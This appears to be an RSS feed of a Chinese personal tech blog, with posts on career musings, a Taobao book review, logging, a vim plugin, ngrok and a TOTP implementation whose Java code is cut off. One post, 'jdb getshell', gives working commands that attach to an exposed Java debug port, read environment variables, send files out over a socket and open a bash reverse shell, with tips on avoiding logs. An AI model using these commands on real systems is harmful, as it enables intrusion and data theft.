<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>gf&amp;zjの盗梦空间</title>
    <description>记录工作学习和生活。让世界了解我们。</description>
    <link>http://www.gfzj.us/</link>
    <atom:link href="http://www.gfzj.us/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Tue, 14 Jun 2022 13:19:31 +0800</pubDate>
    <lastBuildDate>Tue, 14 Jun 2022 13:19:31 +0800</lastBuildDate>
    <generator>Jekyll v3.9.2</generator>
    
      <item>
        <title>勇敢</title>
        <description>&lt;p&gt;勇敢并不是意味着你不再恐惧，而是你能够把恐惧当做是你的指南针，恐惧在哪儿，你就去向哪儿。我们总是习惯于熟悉的一成不变的生活，当然这没有什么不好。只是多年以后，勇敢迈出第一步的人，把今天称作“奇迹”；而选择退缩的人，苦笑了一声，说，“这就是我的命运”。&lt;/p&gt;

&lt;p&gt;今天刷抖音刷到一段文案，非常赞同。&lt;/p&gt;

&lt;p&gt;瞬间让我想起了 2014 年的&lt;a href=&quot;/tech/155.html&quot;&gt;第一次离职&lt;/a&gt;，改变了命运，是 “奇迹”。&lt;/p&gt;

&lt;p&gt;当时无数次想离职，但是各种担心、害怕。每天坐大表哥的车去上班，路上我俩都抱怨一下，每天都盼望着公司能出点大新闻、最好是倒闭。发不起工资了，不是担心自己，而是幸灾乐祸。今天有多少年轻人上班是这个状态？&lt;/p&gt;

&lt;p&gt;或许，他应该出去看看了。我想，这个决定，在他的内心一定是重复了无数次了，因为自己的不勇敢，所以每天只能在嘴上抱怨。&lt;/p&gt;

&lt;p&gt;希望他也能勇敢一点。&lt;/p&gt;

&lt;p&gt;希望每个人都有自己的“奇迹日”。&lt;/p&gt;
</description>
        <pubDate>Sat, 28 May 2022 17:16:56 +0800</pubDate>
        <link>http://www.gfzj.us/2022/05/28/brave.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2022/05/28/brave.html</guid>
        
        
      </item>
    
      <item>
        <title>很久没有写东西了</title>
        <description>&lt;p&gt;或许这正是最残酷的地方，马上 35 岁了。这个博客都已经写了十几年了。耽搁了几年。就这么过去了。&lt;/p&gt;

&lt;p&gt;如果我什么也不做，时间也会这样过去。&lt;/p&gt;
</description>
        <pubDate>Sat, 30 Apr 2022 22:46:49 +0800</pubDate>
        <link>http://www.gfzj.us/2022/04/30/%E5%BE%88%E4%B9%85%E6%B2%A1%E6%9C%89%E5%86%99%E4%B8%9C%E8%A5%BF%E4%BA%86.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2022/04/30/%E5%BE%88%E4%B9%85%E6%B2%A1%E6%9C%89%E5%86%99%E4%B8%9C%E8%A5%BF%E4%BA%86.html</guid>
        
        
      </item>
    
      <item>
        <title>写日志艺术</title>
        <description>&lt;p&gt;基本上遵循「star」原则，分一下几个话题讨论一下：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;记日志的目的、现状、问题&lt;/li&gt;
  &lt;li&gt;目前市面上常用的日志库实现原理分析&lt;/li&gt;
  &lt;li&gt;设计一个用的爽的日志库&lt;/li&gt;
  &lt;li&gt;基于日志的系统（ELK、实时计算、监控和报警）&lt;/li&gt;
  &lt;li&gt;我们的日志体系介绍&lt;/li&gt;
  &lt;li&gt;结论和展望&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Sat, 28 Jul 2018 22:05:39 +0800</pubDate>
        <link>http://www.gfzj.us/2018/07/28/the-art-of-log.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2018/07/28/the-art-of-log.html</guid>
        
        
      </item>
    
      <item>
        <title>读《淘宝技术这十年》</title>
        <description>&lt;p&gt;很早之前有朋友给我推荐过这本书，当时了解了《淘宝海量小文件存储》之类的东西，当时还不在淘宝，所以带着「顶礼膜拜」的心情读的。最近抽了几个小时又复习了一遍，有几点体会：&lt;/p&gt;

&lt;h1 id=&quot;关于书的内容&quot;&gt;关于书的内容&lt;/h1&gt;

&lt;p&gt;有些过时，这和子柳老师的经历有关，后来他去搞测试、培训去了，而且淘宝人迅速扩张，部门之间产生了隔离，虽然早期他可以和财神、多隆、行癫、范禹坐在一起工作，但是后来这些人已经封神了，级别差了很多，而且这帮大神都带了很大一票人，信息难免不同步，所有后来搞的哪些技术，子柳老师估计也不清楚细节，所以也就没讲。早期的东西，比如功能拆分（后来行癫搞的平台技术部、中台）思路是有的，介绍了几个中间件，也只是很小一部分，现在好多都淘汰了。毕竟淘宝今年已经十五年了，所以要想了解淘宝的技术最好去找一本最新的书，不要看这一本了。&lt;/p&gt;

&lt;h1 id=&quot;关于这个公司&quot;&gt;关于这个公司&lt;/h1&gt;

&lt;p&gt;子柳老师后来搞了淘宝技术大学，还是有一些影响力的，但是毕竟不是「核心部门」，不能为公司直接带来利润，而且 KPI 也比较虚，毕竟「培训的核心」第一年都讲不清。所以子柳老师尽管已经很优秀了，但是晋升也有些困难。后来老师离职去做投资，公众号&lt;a href=&quot;http://chuansong.me/account/vc-ziliu&quot;&gt;投资人子柳&lt;/a&gt;、&lt;a href=&quot;https://weibo.com/ziliu&quot;&gt;微博&lt;/a&gt;也有一些粉丝。但是感觉子柳老师离「封神」还有一些距离，子柳老师 14 年离职的时候 title 是「商家事业部-电商后台系统，专家」，现在看是P7，西毒冯大辉 10 年就离职了，当时已经是 p8 了（高级专家）。&lt;/p&gt;

&lt;p&gt;现在公司内很多老员工，很多年了，止步到了 p7、p8 的水平，一手好牌没有打好。我觉得有几个原因：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;不够专注：百巧百能，不误受穷。大公司，深度大于广度。在创业阶段，广度可能由于深度，但是人多了以后，专业性就是价值。频繁转技术栈、换部门、换业务，非常不利于个人发展。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;不要忘记为公司创造核心价值：大公司谨慎一切看数据，看业绩。如果我们做一些边缘业务，很难做出大的成绩，平台越大，越要干大事儿。不要原理公司核心业务核心部门。不是说培训、企业文化、行政这些部门不重要，这些部门比起直接创造钱的部门，还差一截。即使看起来风光无限，其实一般。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;干大事。阿里的拥抱变化非常好，不能一味的被动选择，要主动。选择有可能成为风口的早期业务去拼命。在一个稳定的业务里面，很难出彩。新项目第一年从零到一，绩效不会太差，但是从一到一百，很难做出来，说挂就挂。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;当然，有更高的职位意味着更大的责任，更多的加班时间。所以并不能说止步于 P6 不好，反正手里股票一大把，不愁钱，所以老同志不要打我，溜了溜了~&lt;/p&gt;

</description>
        <pubDate>Sat, 12 May 2018 21:59:40 +0800</pubDate>
        <link>http://www.gfzj.us/2018/05/12/taobao-tech-10-years.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2018/05/12/taobao-tech-10-years.html</guid>
        
        
      </item>
    
      <item>
        <title>jdb getshell</title>
        <description>&lt;p&gt;jdb 是 Java 的调试工具，类似 lldb 或者 gdb，不过感觉确实比 lldb 弱一些，但是好歹是支持 eval 的。所以如果一个远程的 jvm 开启了远程 debug，比如加了启动参数：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;那我们可以连接这个远程端口，并且很容易 getshell。&lt;/p&gt;

&lt;p&gt;POC：&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 本地连接远程 jvm&lt;/span&gt;
jdb &lt;span class=&quot;nt&quot;&gt;-attach&lt;/span&gt; 11.160.195.235:8000
&lt;span class=&quot;c&quot;&gt;# 看一下有哪些进程&lt;/span&gt;
threads
&lt;span class=&quot;c&quot;&gt;# 随便挂起一个&lt;/span&gt;
thread 0x4af8
&lt;span class=&quot;nb&quot;&gt;suspend &lt;/span&gt;0x4af8
step
&lt;span class=&quot;c&quot;&gt;# 稍等一下就可以看到断点信息&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 随便练练手&lt;/span&gt;
print new java.lang.String&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Hello&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
print java.lang.System.getenv&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
print java.lang.System.getProperties&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# 列出某目录下的文件 &lt;/span&gt;
print  java.util.Arrays.toString&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.File&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/home/admin/&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.list&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#查看某个文件的大小&lt;/span&gt;
print new java.io.File&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/home/admin/elephant/target/elephant.tgz&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.length&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 把某个文件发送到远程&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 需要开启远程机器的某个端口，比如在我本机(10.65.158.130)运行 nc -lv 8000 &amp;gt; file&lt;/span&gt;
print &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.net.Socket &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;10.65.158.130&quot;&lt;/span&gt;,8000&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;.getOutputStream&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;.write&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;java.nio.file.Files.readAllBytes&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;new java.io.File&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/home/admin/elephant/target/elephant.tgz&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.toPath&lt;span class=&quot;o&quot;&gt;()))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# 终极大招，反弹 shell&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 不过 bash 这个应用一般都会被管理员加各种 log，所以最好不要这样运行命令，很容易被拆穿。&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 在我本机运行 nc -lv 8000&lt;/span&gt;
java.lang.Runtime.getRuntime&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;.exec&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/bash,-c,exec 5&amp;lt;&amp;gt;/dev/tcp/10.65.158.130/8000;cat &amp;lt;&amp;amp;5 | while read line; do &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$line&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&quot;&lt;/span&gt;.split&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;.waitFor&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 这时候就可以在我本机运行各种 shell 命令了。&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# 最后记得擦屁股，&lt;/span&gt;
resume
&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;话又说回来，jdb getshell 干什么用呢？貌似除了自宫没任何意义，毕竟没有人会在线上环境开启远程 debug，而且还是公网可访问的。&lt;/p&gt;

&lt;p&gt;所以仅供娱乐吧。&lt;/p&gt;
</description>
        <pubDate>Sun, 25 Feb 2018 20:54:47 +0800</pubDate>
        <link>http://www.gfzj.us/2018/02/25/jdb-getshell.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2018/02/25/jdb-getshell.html</guid>
        
        
      </item>
    
      <item>
        <title>vim 自动补全插件</title>
        <description>&lt;p&gt;~/.vim/plugin/aktasksautocomplete.vim 文件：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot; ----------------------------------------------------------------------------
&quot; auto complete ak tasks
&quot; ----------------------------------------------------------------------------
function! AKTaskComplete() abort
  let prefix = matchstr(strpart(getline('.'), 0, col('.') - 1), '[.a-zA-Z0-9_/-]*$')
  echohl WarningMsg
  echo 'list all *Aone* tasks'
  echohl None

ruby &amp;lt;&amp;lt; EOF
  require 'json'
  cmd=&quot;ak tasks&quot;;
  query = VIM::evaluate('prefix').strip
  if !query.empty?
    cmd.concat &quot;|grep -i #{query}&quot;
  end

  data = `#{cmd}`
  data = data.gsub(/ +/,' ')
  tasks=[]
  data.split(&quot;\n&quot;).each do |line|
  line = line[0..line.rindex(&quot; &quot;)].strip;
  tasks.push({word:line});
  end

  VIM::command(&quot;let cands = #{JSON.dump tasks}&quot;)
EOF

  if !empty(cands)
    inoremap &amp;lt;buffer&amp;gt; &amp;lt;c-v&amp;gt; &amp;lt;c-n&amp;gt;
    augroup _AKTaskComplete
      autocmd!
      autocmd CursorMovedI,InsertLeave * iunmap &amp;lt;buffer&amp;gt; &amp;lt;c-v&amp;gt;
            \| autocmd! _AKTaskComplete
    augroup END

    call complete(col('.') - strchars(prefix), cands)
  endif
  return ''
endfunction

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;~/.vimrc 中追加：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;inoremap &amp;lt;c-f&amp;gt; &amp;lt;c-r&amp;gt;=AKTaskComplete()&amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这样在 insert 模式中，按下 ctrl+f 就可以自动补全了。并且会把紧邻的第一个单词作为搜索关键词。&lt;/p&gt;

</description>
        <pubDate>Tue, 05 Dec 2017 19:23:21 +0800</pubDate>
        <link>http://www.gfzj.us/2017/12/05/vim-auto-complete-plugin.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2017/12/05/vim-auto-complete-plugin.html</guid>
        
        
      </item>
    
      <item>
        <title>ngrok 内网穿越神器</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://github.com/inconshreveable/ngrok&quot;&gt;ngrok&lt;/a&gt; 是一款反响代理（tcp）工具，根据网上的教程，我也搭了一个服务，方便自己使用。&lt;/p&gt;

&lt;h1 id=&quot;client-下载&quot;&gt;client 下载&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://ng.gfzj.us/darwin_amd64/ngrok&quot;&gt;darwin_amd64&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ng.gfzj.us/linux_amd64/ngrok&quot;&gt;linux_amd64&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ng.gfzj.us/windows_amd64/ngrok&quot;&gt;windows_amd64&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;使用&quot;&gt;使用&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ngrok&lt;/code&gt; 文件如下：&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;server_addr&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ng.gfzj.us:4443'&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;trust_host_root_certs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 反代本机 22 端口&lt;/span&gt;
ngrok &lt;span class=&quot;nt&quot;&gt;-proto&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;tcp 22

&lt;span class=&quot;c&quot;&gt;# 反代本机 http 服务&lt;/span&gt;
ngrok &lt;span class=&quot;nt&quot;&gt;-subdomain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;demo &lt;span class=&quot;nt&quot;&gt;-proto&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http 8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Thu, 05 Oct 2017 01:07:24 +0800</pubDate>
        <link>http://www.gfzj.us/2017/10/05/ngrok.html</link>
        <guid isPermaLink="true">http://www.gfzj.us/2017/10/05/ngrok.html</guid>
        
        
      </item>
    
      <item>
        <title>U盾的原理和实现</title>
        <description>&lt;p&gt;U盾是一个咋看起来很神奇的东西，后来有了软件版，比如 QQ 邮箱有微信密令，Google 也有 &lt;a href=&quot;https://support.google.com/accounts/answer/1066447?hl=en&amp;amp;co=GENIE.Platform%3DiOS&amp;amp;oco=0&quot;&gt;Google Authenticator&lt;/a&gt;。今天 Google 了实现原理，并且实现了一个简单版本。&lt;/p&gt;

&lt;p&gt;核心是 Hmac，服务器颁发给客户端一个 key（字符串）。服务器和客户端都知道这个字符串，并且服务器保存这个 key 颁发给哪个设备（用户）了。验证的时候，服务器和客户端同时用相同的算法 hash 某个相同的东西，然后客户端把这个 hash 发给服务器，因为 key、算法、加密内容都相同，所以服务器很好验证。&lt;/p&gt;

&lt;p&gt;那么加密哪个内容呢？当然是&lt;strong&gt;时间&lt;/strong&gt;。所以必须保证服务器和客户端的时间是相同的，离线版的硬件的话，依靠时钟；在线版的软件客户端可以定时去同步服务器端的时间（知道 diff 就可以了）。&lt;/p&gt;

&lt;p&gt;如何保证密码的有效时间？因为输入的时候肯定是有时间差的，如果很快就过期了，那无论如何也输入不对了。&lt;/p&gt;

&lt;p&gt;时间可以按照分钟算，不要按照秒（因为秒太快了）。比如，加密内容是，现在距离 1970-01-01 过了多少分钟了。这样有效期就相对长了，足够用户输入了。&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;javax.crypto.Mac&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;javax.crypto.spec.SecretKeySpec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;OneTimePassword&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;double&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeDiff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ttl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;algorithm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;HmacSHA1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lengthBase&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10000000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100000000&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Mac&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;OneTimePassword&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;double&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeDiff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;timeDiff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeDiff&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hexStringToBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;// 初始化 hmac 算法&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;nc&quot;&gt;SecretKeySpec&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signingKey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecretKeySpec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;mac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Mac&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;algorithm&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signingKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;printStackTrace&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;OneTimePassword&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
